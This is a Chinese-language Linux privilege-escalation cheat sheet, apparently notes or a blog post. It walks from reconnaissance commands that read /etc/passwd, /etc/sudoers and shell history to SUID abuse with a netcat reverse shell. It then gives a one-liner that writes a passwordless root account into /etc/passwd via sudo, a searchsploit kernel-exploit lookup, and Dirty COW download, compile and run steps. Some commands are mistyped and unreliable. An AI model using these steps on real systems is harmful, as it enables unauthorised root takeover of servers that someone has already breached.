目录
一、信息收集
1、系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名
uname -m 查看系统内核架构
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
2、用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上所有组
grep-v-E"^#"/etc/password|awk-F:'$3==0{print $1}' 列出所有超级用户账号
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录的列表
lastlog 所有用户上次登录的信息
lastlog -u %username% 指定用户的上次登录的信息
lastlog |grep -v "Never" 以前登录用户的
3、用户和权限信息
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
4、环境信息
env 显示环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
二、SUID
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件。
1、可用来提权的Linux可行性文件列表
nmap
vim
find
bash
more
less
nano
cp
2、查找SUID可执行性文件命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exex ls ldb{}
/ 表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s 表示查找root用户所拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stdrr(标准错误)
> 表示重定向
/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
3、SUID提权复现
(1)拿到一个网站服务器权限的shell
(2)查看具有root权限的SUID文件
(3)创建一个文件(用于测试find命令是否可以以root权限运行)
(4)用find命令查看是否可以以root权限运行
(5)用netcat将权限提升至root
(6)反弹回来后直接获取一个root权限
三、利用root无密码执行
这个命令&脚本文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容或直接执行这个命令,利用命令进行一些操作来提权
eg:写入一个root身份权限的用户进入/etc/passwd文件中
0、root无密码执行复现
(1)查看当前用户权限
(2)发现teehee命令sudo不需要密码
(3)查看teehee命令的帮助文档
(4)写入一个ceshi账号到passwd里
四、获取root权限
### [用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
### echo "ceshi::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
五、利用内核漏洞提权
用kali 的 searchspolit 可以帮助我们查看各种Linux发行版本的漏洞
0、内核漏洞提权复现
(1)拿到shell之后查看内核版本
cat /etc/issue;uname -a
(2)使用kali的searchsploit搜索有关这个版本的漏洞
root@kali:~# searchsploit Ubuntu16
(3)使用脚本提权
查看脚本内容,按照指南下载一个tar包来提权
六、脏牛提权
1、EXP下载
https://github.com/FireFart/dirtycow
2、脏牛提权复现
(1)使用uname -a 命令查看Linux内核信息
漏洞范围:大于2.6.22(2007年发行,到2016年10月18日修复)
(2)将exp下载到本地
执行gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译。生成一个dirty的可执行文件。
执行./dirty ceshi321密码命令,即可进行提权
(3)使用提权的账号密码即可获取root权限